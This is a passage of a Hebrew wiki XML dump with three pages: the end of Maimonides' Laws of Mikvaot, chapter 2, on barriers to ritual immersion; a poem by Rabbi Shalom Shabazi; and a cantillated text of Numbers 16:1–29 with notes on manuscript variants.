&lt;קטע התחלה=ג דפוס/&gt;בית הסתרים באשה חוצץ עד שתדיח תחילה שהזיעה שם תמיד והאבק מתקבץ וחוצץ בד&quot;א בנשואה אבל בפנויה הואיל ואינה מקפדת אינו חוצץ:&lt;קטע סוף=ג דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב ד|הלכה ד]]===

&lt;קטע התחלה=ד דפוס/&gt;האגד שעל גבי המכה והקשקשין שעל גבי השבר והשירים והנזמים והקטליות והטבעות בזמן שהן חזקים ודבוקים בבשר חוצצים רפים אינם חוצצין:&lt;קטע סוף=ד דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב ה|הלכה ה]]===

&lt;קטע התחלה=ה דפוס/&gt;חוטי צמר וחוטי פשתן והרצועות שקושרות הנשים בראשיהן לנוי חוצצין מפני שמבדילין בין הגוף ובין המים אבל חוטי שיער אין חוצצין מפני שהמים באין בהן אע&quot;פ שאינן רפין:&lt;קטע סוף=ה דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב ו|הלכה ו]]===

&lt;קטע התחלה=ו דפוס/&gt;חוטין שבצואר אינן חוצצין אפילו של פשתן לפי שאין אשה חונקת עצמה בהן אבל חבקים שבצואר כגון קטליות וענקים חוצצין לפי שהאשה חונקת עצמה בהן כדי שתראה בעלת בשר:&lt;קטע סוף=ו דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב ז|הלכה ז]]===

&lt;קטע התחלה=ז דפוס/&gt;שיער שעל הלב שנתקשר ונעשה קלקלי וכן קלקלי הזקן חוצצין:&lt;קטע סוף=ז דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב ח|הלכה ח]]===

&lt;קטע התחלה=ח דפוס/&gt;חץ התחוב באדם בזמן שהוא נראה חוצץ ובזמן שאינו נראה טובל ואוכל בתרומתו לערב אף על פי שהוא חץ טמא וכן מי שבלע טבעת טמא וטבל הרי זה טהור ואם הקיאה אחר שטבל נטמא במגעה שכבר ביארנו שכל הבלועים בגוף החי לא מטמאין ולא מתטמאין.

נכנסו צרורות וקיסמין בסדקי רגליו מלמטה חוצצין:&lt;קטע סוף=ח דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב ט|הלכה ט]]===

&lt;קטע התחלה=ט דפוס/&gt;אספלנית מלוגמא ורטייה שעל בית הסתרים חוצצין אע&quot;פ שאינו צריך שיכנסו בהן המים צריכין שיהיו ראויין ולא יהא בהן דבר חוצץ כמו שביארנו.

היתה בו שערה אחת או שתים חוץ למכה וראשה מודבק למכה או שהיו שתי שערות ראשם מודבק בטיט או בצואה או שהיו שתי שערות בריסי עיניו מלמטה ונקבן והוציאן בריסי עיניו מלמעלה הרי אלו חוצצין:&lt;קטע סוף=ט דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב י|הלכה י]]===

&lt;קטע התחלה=י דפוס/&gt;לא יטבול אדם בעפר שעל רגליו ואם טבל אינו חוצץ:&lt;קטע סוף=י דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב יא|הלכה יא]]===

&lt;קטע התחלה=יא דפוס/&gt;האוחז באדם ובכלים והטבילן הרי הן בטומאתן ואע&quot;פ שרפה ידיו עד שבאו בהן המים גזירה שמא לא ירפה ואם הדיח ידיו במים עלתה להן טבילה:&lt;קטע סוף=יא דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב יב|הלכה יב]]===

&lt;קטע התחלה=יב דפוס/&gt;המפשלת בנה לאחורה וטבלה לא עלתה לה טבילה שמא היה טיט ברגלי התינוק או בידיו ונדבק באמו בשעת טבילה וחצץ ואחר שעלתה נפל:&lt;קטע סוף=יב דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב יג|הלכה יג]]===

&lt;קטע התחלה=יג דפוס/&gt;נדה שנתנה שערה בפיה או שקפצה ידה או שקרצה בשפתותיה או שנמצא עצם בין שיניה כאילו לא טבלה וכן שאר כל הטמאים נתנה מעות בפיה וירדה וטבלה טהרה מטומאת הנדה והרי היא טמאה על גב רוקה ונמצאת ראשון לטומאה כמי שנגע ברוק הנדה וכן הדין בזב:&lt;קטע סוף=יג דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב יד|הלכה יד]]===

&lt;קטע התחלה=יד דפוס/&gt;ואלו שאין חוצצין באדם: 

קלקלי הראש ובית השחי ובית הסתרים שבאיש ולפלוף שבעין וגלד שהעלתה המכה ולכלוכי צואה שעל בשרו וצואה שתחת הציפורן וציפורן המדולדלת וכשות הקטן והוא השיער הדק שעל בשרו כל אלו אינן חוצצין:&lt;קטע סוף=יד דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב טו|הלכה טו]]===

&lt;קטע התחלה=טו דפוס/&gt;שתי שערות או יתר שהיו קשורין כאחת קשר אחד אינן חוצצין מפני שהמים באין בהן ושערה אחת שנקשרה חוצצת והוא שיהיה מקפיד עליה אבל אם אינו מקפיד עליה עלתה לו טבילה עד שתהיה רוב שערו קשור נימא נימא בפ&quot;ע כזה הורו הגאונים ויראה לי ששערו של אדם כגופו הוא חשוב לענין טבילה ואינו כגוף בפני עצמו כדי שנאמר רוב השיער אלא אף על פי שכל שיער ראשו קשור נימא נימא אם אינו מקפיד עליו עלתה לו טבילה אא&quot;כ נצטרף לחוצץ אחר על גופו ונמצא הכל רוב גופו כמו שביארנו ואחד הנדה ואחד שאר הטמאין שיש בראשן שיער:&lt;קטע סוף=טו דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב טז|הלכה טז]]===

&lt;קטע התחלה=טז דפוס/&gt;תקנת עזרא היא שתהיה אשה חופפת את שערה ואחר כך תטבול ואם אפשר לה לחוף בלילה ולטבול מיד תיכף לחפיפה ה&quot;ז משובח ובשעת הדחק או מפני החולי חופפת אפילו בע&quot;ש וטובלת למוצאי שבת:&lt;קטע סוף=טז דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב יז|הלכה יז]]===

&lt;קטע התחלה=יז דפוס/&gt;טבלה ועלתה ונמצא עליה דבר חוצץ אם באותו היום שחפפה טבלה אינה צריכה לחוף פעם שנייה אלא חוזרת וטובלת מיד בלבד ואם לאו צריכה לחוף פעם שנייה ולטבול:&lt;קטע סוף=יז דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב יח|הלכה יח]]===

&lt;קטע התחלה=יח דפוס/&gt;לא תחוף אשה בנתר מפני שמקטף את השיער ולא באהל מפני שמסריך את השיער אלא בחמין ואפילו בחמי חמה מפני שהחמין משירין את השיע' ומסלסלין אותו אבל הצוננין מקלקלין ומקבצין את השיער ומתקשר:&lt;קטע סוף=יח דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב יט|הלכה יט]]===

&lt;קטע התחלה=יט דפוס/&gt;נדה שנתנה תבשיל לבנה וטבלה לא עלתה לה טבילה מפני השמנונית שעל ידיה:&lt;קטע סוף=יט דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב כ|הלכה כ]]===

&lt;קטע התחלה=כ דפוס/&gt;שרטה בבשרה והוציא דם וטבלה בתוך שלשה ימים אין מקום השריטות חוצץ לאחר שלשה ימים חוצץ מפני שהדם נקפה שם כגלד שע&quot;ג המכה וכן לפלוף שבעין אם היה יבש והוא שהתחיל להוריק חוצץ בנדה:&lt;קטע סוף=כ דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב כא|הלכה כא]]===

&lt;קטע התחלה=כא דפוס/&gt;כוחל שבעין אינו חוצץ שעל גב העין חוצץ ואם היו עיניה פורחות אף על גבי העין אינו חוצץ:&lt;קטע סוף=כא דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב כב|הלכה כב]]===

&lt;קטע התחלה=כב דפוס/&gt;פתחה עיניה ביותר או עיצמתן ביותר לא עלתה לה טבילה במה דברים אמורים לענין טהרות אבל להתירה לבעלה הרי זו מותרת אע&quot;פ שנתנה תבשיל לבנה או שהיה בה שרט ישן או שהיה על גב עינה כוחל ובין פתחה עיניה או עיצמתן הרי זו מותרת לבעלה שכל הדברים האלו וכיוצא בהן אינן חוצצין אלא מדבריהן ולענין טהרות גזרו לענין ביאה לא גזרו וכל החוצץ בנדה לטהרות חוצץ בשאר הטמאין לענין טהרות וחוצץ בגר בשעת טבילה:&lt;קטע סוף=כב דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב כג|הלכה כג]]===

&lt;קטע התחלה=כג דפוס/&gt;מי שטבל ועלה ונמצא עליו דבר חוצץ אף ע&quot;פ שנתעסק באותו המין כל היום כולו הרי הוא בטומאתו עד שיאמר יודע אני בודאי שלא היה זה עלי קודם הטבילה הואיל והוחזק טמא העמד טמא על טומאתו עד שתדע בוודאי שטהר:&lt;קטע סוף=כג דפוס/&gt;

==הגהה==
{{אין טקסט מוגה במשנה תורה|טהרה|הלכות מקואות|פרק שני|הלכות מקואות א|הלכות מקואות ג|a802|10|63|2}}</text>
      <sha1>nfju6kcmo77mkj38au1nqgmu848qhme</sha1>
    </revision>
  </page>
  <page>
    <title>איומתי תעורר הישנים</title>
    <ns>0</ns>
    <id>235859</id>
    <revision>
      <id>3020714</id>
      <parentid>1183647</parentid>
      <timestamp>2026-06-18T23:39:05Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020714</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2057" sha1="6faekomu841fjyfllydwueqe9wv3ze6" xml:space="preserve">*מחבר: רבי שלום שבזי
*סימן: אלשבזי משתא
{{שיר מנוקד|
'''אֲ'''יֻמָּתִי תְּעוֹרֵר הַיְּשֵׁנִים 
לְהִתְלַמֵּד בְּסוֹד תּוֹרָה תְּמִימָה: 

'''לְ'''פָנֶיהָ בְּנֵי מַעְלָה הֲמוֹנִים                   
והִיא תָּשִׁיר בְּקוֹל שִׁירָה נְעִימָה: 

'''שְׁ'''חָקִים הֵם וְגַלְגַּלִּים נְכוֹנִים                
יְפַת עַיִן בְּזִיוָה תַּעֲצִימָה: 

'''בְּ'''חֵי נַפְשֵׁךְ צִפּוֹרֶת כְּרָמִים                   
וְהַנְהִירִי לְאוֹר שִׂכְלִי כְּכִימָה: 

'''זְ'''מִירוֹת שִׁיר וְהַפְצָחַת רְנָנִים               
וקוֹל הַלֵּל בְּתוֹךְ קֹדֶשׁ פְּנִימָה: 

'''יְ'''חִידָה זַכְּכִי הָרַעֲיוֹנִים                   
וְהַזְכִּירִי זְכוּת מֹשֶׁה רְחִימָא: 

'''מְ'''הֻדָּר בָּעֲרָפֶל וַעֲנָנִים                     
אֲשֶׁר הִשִּׂיג לְכָל מַעְלוֹת בְּלִימָה: 

'''שְׁ'''כִינָה לָבְשָׁה שִׁבְעִים זְקָנִים                
בְּקוֹל חֶזְיוֹן וְלָהֶם הֶחֱלִימָה: 

'''תִּ'''פְאֶרֶת שְׁנֵי לוּחוֹת אֲבָנִים                    
בְּסִינַי נִתְּנוּ לָנוּ בְּסִימָא: 

'''אַ'''הְרֹן הוּא וּמֹשֶׁה שׁוֹשְׁבִינִים                
לְבַת נָדִיב וְלָהֶם חֵן תְּשִׂימָה: 

תְּצַו שָׁלוֹם לְכָל זֶרַע אֱמוּנִים                 
וּמַשְׁפַּעַת לְמִזְרָחָהּ וְיַמָּה:  
}}
[[קטגוריה:שירה (דיואן)]]
[[קטגוריה:שירי רבי שלום שבזי]]
[[קטגוריה:פיוטי יהדות תימן]]
[[קטגוריה:חתימה]]</text>
      <sha1>6faekomu841fjyfllydwueqe9wv3ze6</sha1>
    </revision>
  </page>
  <page>
    <title>במדבר טז/טעמים</title>
    <ns>0</ns>
    <id>236470</id>
    <revision>
      <id>3020751</id>
      <parentid>2987719</parentid>
      <timestamp>2026-06-19T09:43:55Z</timestamp>
      <contributor>
        <username>Dovi</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>תיקון געיה בפסוק י&quot;ח והוספת הערה.</comment>
      <origin>3020751</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15672" sha1="5drflwcn4vxgv9nskufvvgt494ft25u" xml:space="preserve">&lt;noinclude&gt;{{ניווט טעמים|במדבר|טז}}
{{טעמי המקרא באינטרנט}}
{{מ:שוליים|5}}
{{מ:טעמי המקרא}}
&lt;/noinclude&gt;&lt;קטע התחלה=פרק טז/&gt;{{פפ}}
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|א|סדר=טו|עלייה={{מ:עלייה|א=קֹרח|ב0=קֹרח|ב1=ראשון|ב2=כהן}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=א/&gt;וַיִּקַּ֣ח קֹ֔רַח בֶּן־יִצְהָ֥ר בֶּן־קְהָ֖ת בֶּן־לֵוִ֑י וְדָתָ֨ן וַאֲבִירָ֜ם בְּנֵ֧י אֱלִיאָ֛ב וְא֥וֹן בֶּן־פֶּ֖לֶת בְּנֵ֥י רְאוּבֵֽן׃&lt;קטע סוף=א/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ב}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ב/&gt;וַיָּקֻ֙מוּ֙ לִפְנֵ֣י מֹשֶׁ֔ה וַאֲנָשִׁ֥ים מִבְּנֵֽי־יִשְׂרָאֵ֖ל חֲמִשִּׁ֣ים וּמָאתָ֑יִם נְשִׂיאֵ֥י עֵדָ֛ה קְרִאֵ֥י מוֹעֵ֖ד אַנְשֵׁי־שֵֽׁם׃&lt;קטע סוף=ב/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ג}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ג/&gt;וַיִּֽקָּהֲל֞וּ עַל־מֹשֶׁ֣ה וְעַֽל־אַהֲרֹ֗ן וַיֹּאמְר֣וּ אֲלֵהֶם֮ רַב־לָכֶם֒ כִּ֤י כׇל־הָֽעֵדָה֙ כֻּלָּ֣ם קְדֹשִׁ֔ים וּבְתוֹכָ֖ם יְהֹוָ֑ה וּמַדּ֥וּעַ תִּֽתְנַשְּׂא֖וּ עַל־קְהַ֥ל יְהֹוָֽה׃&lt;קטע סוף=ג/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ד|עלייה={{מ:עלייה|א=[לוי]|ב0=קֹרח|ב2=לוי}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ד/&gt;וַיִּשְׁמַ֣ע מֹשֶׁ֔ה וַיִּפֹּ֖ל עַל־פָּנָֽיו׃&lt;קטע סוף=ד/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ה}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ה/&gt;וַיְדַבֵּ֨ר אֶל־קֹ֜רַח וְאֶֽל־כׇּל־עֲדָתוֹ֮ לֵאמֹר֒ בֹּ֠קֶר וְיֹדַ֨ע יְהֹוָ֧ה אֶת־אֲשֶׁר־ל֛וֹ וְאֶת־הַקָּד֖וֹשׁ וְהִקְרִ֣יב אֵלָ֑יו וְאֵ֛ת אֲשֶׁ֥ר יִבְחַר־בּ֖וֹ יַקְרִ֥יב אֵלָֽיו׃&lt;קטע סוף=ה/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ו}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ו/&gt;זֹ֖את עֲשׂ֑וּ קְחוּ־לָכֶ֣ם מַחְתּ֔וֹת קֹ֖רַח וְכׇל־עֲדָתֽוֹ׃&lt;קטע סוף=ו/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ז}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ז/&gt;וּתְנ֣וּ בָהֵ֣ן{{מ:פסק}}אֵ֡שׁ וְשִׂ֩ימוּ֩ עֲלֵיהֶ֨ן{{מ:פסק}}קְטֹ֜רֶת לִפְנֵ֤י יְהֹוָה֙ מָחָ֔ר וְהָיָ֗ה הָאִ֛ישׁ אֲשֶׁר־יִבְחַ֥ר יְהֹוָ֖ה ה֣וּא הַקָּד֑וֹשׁ רַב־לָכֶ֖ם בְּנֵ֥י לֵוִֽי׃&lt;קטע סוף=ז/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ח|עלייה={{מ:עלייה|א=[ישראל]|ב0=קֹרח|ב2=ישראל}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ח/&gt;וַיֹּ֥אמֶר מֹשֶׁ֖ה אֶל־קֹ֑רַח שִׁמְעוּ־נָ֖א בְּנֵ֥י לֵוִֽי׃&lt;קטע סוף=ח/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ט}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ט/&gt;{{נוסח|הַמְעַ֣ט|2==א(ס),ל,ב,ש,ש1,ק3,ו &lt;הֽמעט? אין מתג בה&quot;א וגם בשני [פס' י&quot;ג]&gt;{{ש}}דפוסים וקורן=הַֽמְעַ֣ט (בגעיה)}} מִכֶּ֗ם כִּֽי־הִבְדִּיל֩ אֱלֹהֵ֨י יִשְׂרָאֵ֤ל אֶתְכֶם֙ מֵעֲדַ֣ת יִשְׂרָאֵ֔ל לְהַקְרִ֥יב אֶתְכֶ֖ם אֵלָ֑יו לַעֲבֹ֗ד אֶת־עֲבֹדַת֙ מִשְׁכַּ֣ן יְהֹוָ֔ה וְלַעֲמֹ֛ד לִפְנֵ֥י הָעֵדָ֖ה לְשָׁרְתָֽם׃&lt;קטע סוף=ט/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|י}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=י/&gt;וַיַּקְרֵב֙ אֹֽתְךָ֔ וְאֶת־כׇּל־אַחֶ֥יךָ בְנֵי־לֵוִ֖י אִתָּ֑ךְ וּבִקַּשְׁתֶּ֖ם גַּם־כְּהֻנָּֽה׃&lt;קטע סוף=י/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יא}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יא/&gt;לָכֵ֗ן אַתָּה֙ וְכׇל־עֲדָ֣תְךָ֔ הַנֹּעָדִ֖ים עַל־יְהֹוָ֑ה וְאַהֲרֹ֣ן מַה־ה֔וּא כִּ֥י {{כו&quot;ק|תלונו|תַלִּ֖ינוּ}} עָלָֽיו׃&lt;קטע סוף=יא/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יב}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יב/&gt;וַיִּשְׁלַ֣ח מֹשֶׁ֔ה לִקְרֹ֛א לְדָתָ֥ן וְלַאֲבִירָ֖ם בְּנֵ֣י אֱלִיאָ֑ב וַיֹּאמְר֖וּ לֹ֥א נַעֲלֶֽה׃&lt;קטע סוף=יב/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יג}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יג/&gt;{{נוסח|הַמְעַ֗ט|2==א(ס),ל,ב,ש,ש1,ק3,ו &lt;הֽמעט? אין מתג בה&quot;א [פס' ט] וגם בשני [כאן]&gt;{{ש}}דפוסים וקורן=הַֽמְעַ֗ט}} כִּ֤י הֶֽעֱלִיתָ֙נוּ֙ מֵאֶ֨רֶץ זָבַ֤ת חָלָב֙ וּדְבַ֔שׁ לַהֲמִיתֵ֖נוּ בַּמִּדְבָּ֑ר כִּֽי־תִשְׂתָּרֵ֥ר עָלֵ֖ינוּ גַּם־הִשְׂתָּרֵֽר׃&lt;קטע סוף=יג/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יד|עלייה={{מ:עלייה|א=שני|ב0=קֹרח|ב1=שני|ב2=ע&quot;כ ישראל}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יד/&gt;אַ֡ף לֹ֣א אֶל־אֶ֩רֶץ֩ זָבַ֨ת חָלָ֤ב וּדְבַשׁ֙ הֲבִ֣יאֹתָ֔נוּ וַתִּ֨תֶּן־לָ֔נוּ נַחֲלַ֖ת שָׂדֶ֣ה וָכָ֑רֶם הַעֵינֵ֞י הָאֲנָשִׁ֥ים הָהֵ֛ם תְּנַקֵּ֖ר לֹ֥א נַעֲלֶֽה׃&lt;קטע סוף=יד/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|טו}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=טו/&gt;וַיִּ֤חַר לְמֹשֶׁה֙ מְאֹ֔ד וַיֹּ֙אמֶר֙ אֶל־יְהֹוָ֔ה אַל־תֵּ֖פֶן אֶל־מִנְחָתָ֑ם לֹ֠א חֲמ֨וֹר אֶחָ֤ד מֵהֶם֙ נָשָׂ֔אתִי וְלֹ֥א הֲרֵעֹ֖תִי אֶת־אַחַ֥ד מֵהֶֽם׃&lt;קטע סוף=טו/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|טז}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=טז/&gt;וַיֹּ֤אמֶר מֹשֶׁה֙ אֶל־קֹ֔רַח אַתָּה֙ וְכׇל־עֲדָ֣תְךָ֔ הֱי֖וּ לִפְנֵ֣י יְהֹוָ֑ה אַתָּ֥ה וָהֵ֛ם וְאַהֲרֹ֖ן מָחָֽר׃&lt;קטע סוף=טז/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יז}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יז/&gt;וּקְח֣וּ{{מ:לגרמיה-2}} אִ֣ישׁ מַחְתָּת֗וֹ וּנְתַתֶּ֤ם עֲלֵיהֶם֙ קְטֹ֔רֶת וְהִקְרַבְתֶּ֞ם לִפְנֵ֤י יְהֹוָה֙ אִ֣ישׁ מַחְתָּת֔וֹ חֲמִשִּׁ֥ים וּמָאתַ֖יִם מַחְתֹּ֑ת וְאַתָּ֥ה וְאַהֲרֹ֖ן אִ֥ישׁ מַחְתָּתֽוֹ׃&lt;קטע סוף=יז/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יח}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יח/&gt;וַיִּקְח֞וּ אִ֣ישׁ מַחְתָּת֗וֹ וַיִּתְּנ֤וּ עֲלֵיהֶם֙ אֵ֔שׁ וַיָּשִׂ֥ימוּ עֲלֵיהֶ֖ם קְטֹ֑רֶת {{נוסח|וַיַּֽעַמְד֗וּ|2==ל?,ק3 (געיה קלה באות יו&quot;ד){{ש}}ב,ש,ש1,ו,ט3=וַיַּעַמְד֗וּ (אין געיה){{ש}}ל?!=וַֽיַּעַמְד֗וּ (געיה כבדה באות וי&quot;ו?); הקו של הגעיה נכתב בין האותיות וי&quot;ו ויו&quot;ד. מבנה התיבה לא מתאים לגעיה כבדה סדירה, ולפי ברויאר ודותן מדובר על געיה קלה באות יו&quot;ד. אך לפי BHS והמקליד הגעיה שייכת לאות וי&quot;ו.}} פֶּ֛תַח אֹ֥הֶל מוֹעֵ֖ד וּמֹשֶׁ֥ה וְאַהֲרֹֽן׃&lt;קטע סוף=יח/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יט}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יט/&gt;וַיַּקְהֵ֨ל עֲלֵיהֶ֥ם קֹ֙רַח֙ אֶת־כׇּל־הָ֣עֵדָ֔ה אֶל־פֶּ֖תַח אֹ֣הֶל מוֹעֵ֑ד וַיֵּרָ֥א כְבוֹד־יְהֹוָ֖ה אֶל־כׇּל־הָעֵדָֽה׃&lt;קטע סוף=יט/&gt;
{{נוסח|{{סס}}|2=ל=פרשה פתוחה}}&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כ|עלייה={{מ:עלייה|א=שלישי|ב0=קֹרח|ב1=שלישי}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כ/&gt;וַיְדַבֵּ֣ר יְהֹוָ֔ה אֶל־מֹשֶׁ֥ה וְאֶֽל־אַהֲרֹ֖ן לֵאמֹֽר׃&lt;קטע סוף=כ/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כא}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כא/&gt;הִבָּ֣דְל֔וּ מִתּ֖וֹךְ הָעֵדָ֣ה הַזֹּ֑את {{נוסח|וַאֲכַלֶּ֥ה|2==ב,ש,ש1,ק3,ו ובדפוסים{{ש}}ל!=וַאַכַלֶּ֥ה (חסרות נקודות החטף באות אל&quot;ף){{ש}}הערות ברויאר ודותן והמקליד}} אֹתָ֖ם כְּרָֽגַע׃&lt;קטע סוף=כא/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כב}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כב/&gt;וַיִּפְּל֤וּ עַל־פְּנֵיהֶם֙ וַיֹּ֣אמְר֔וּ אֵ֕ל אֱלֹהֵ֥י הָרוּחֹ֖ת לְכׇל־בָּשָׂ֑ר הָאִ֤ישׁ אֶחָד֙ יֶחֱטָ֔א וְעַ֥ל כׇּל־הָעֵדָ֖ה תִּקְצֹֽף׃&lt;קטע סוף=כב/&gt;
{{נוסח|{{סס}}|2=ל=פרשה פתוחה}}&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כג}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כג/&gt;וַיְדַבֵּ֥ר יְהֹוָ֖ה אֶל־מֹשֶׁ֥ה לֵּאמֹֽר׃&lt;קטע סוף=כג/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כד}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כד/&gt;דַּבֵּ֥ר אֶל־הָעֵדָ֖ה לֵאמֹ֑ר הֵֽעָלוּ֙ מִסָּבִ֔יב לְמִשְׁכַּן־קֹ֖רַח דָּתָ֥ן וַאֲבִירָֽם׃&lt;קטע סוף=כד/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כה}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כה/&gt;וַיָּ֣קׇם מֹשֶׁ֔ה וַיֵּ֖לֶךְ אֶל־דָּתָ֣ן וַאֲבִירָ֑ם וַיֵּלְכ֥וּ אַחֲרָ֖יו זִקְנֵ֥י יִשְׂרָאֵֽל׃&lt;קטע סוף=כה/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כו}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כו/&gt;וַיְדַבֵּ֨ר אֶל־הָעֵדָ֜ה לֵאמֹ֗ר ס֣וּרוּ נָ֡א מֵעַל֩ {{מ:קמץ|ד=אׇהֳלֵ֨י|ס=אָהֳלֵ֨י}} הָאֲנָשִׁ֤ים הָֽרְשָׁעִים֙ הָאֵ֔לֶּה וְאַֽל־תִּגְּע֖וּ בְּכׇל־אֲשֶׁ֣ר לָהֶ֑ם פֶּן־תִּסָּפ֖וּ בְּכׇל־חַטֹּאתָֽם׃&lt;קטע סוף=כו/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כז}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כז/&gt;וַיֵּעָל֗וּ מֵעַ֧ל {{נוסח|מִשְׁכַּן־קֹ֛רַח|2==ב,ש,ש1,ק3,ו ובדפוסים{{ש}}ל!=מִשְׁכַּן־קֹ֛רֶח (סגול באות רי&quot;ש){{ש}}הערות ברויאר ודותן והמקליד}} דָּתָ֥ן וַאֲבִירָ֖ם מִסָּבִ֑יב וְדָתָ֨ן וַאֲבִירָ֜ם יָצְא֣וּ נִצָּבִ֗ים פֶּ֚תַח {{נוסח|{{מ:קמץ|ד=אׇֽהֳלֵיהֶ֔ם|ס=אָֽהֳלֵיהֶ֔ם}}|2=ל=אָֽהֳלֵיהֶ֔ם בגעיה ימנית}} וּנְשֵׁיהֶ֥ם וּבְנֵיהֶ֖ם וְטַפָּֽם׃&lt;קטע סוף=כז/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כח}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כח/&gt;וַיֹּ֘אמֶר֮ מֹשֶׁה֒ בְּזֹאת֙ תֵּֽדְע֔וּן כִּֽי־יְהֹוָ֣ה שְׁלָחַ֔נִי לַעֲשׂ֕וֹת אֵ֥ת כׇּל־הַֽמַּעֲשִׂ֖ים הָאֵ֑לֶּה כִּי־לֹ֖א מִלִּבִּֽי׃&lt;קטע סוף=כח/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כט}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כט/&gt;אִם־כְּמ֤וֹת כׇּל־הָֽאָדָם֙ יְמֻת֣וּן אֵ֔לֶּה וּפְקֻדַּת֙ כׇּל־הָ֣אָדָ֔ם יִפָּקֵ֖ד עֲלֵיהֶ֑ם לֹ֥א יְהֹוָ֖ה שְׁלָחָֽנִי׃&lt;קטע סוף=כט/&gt;
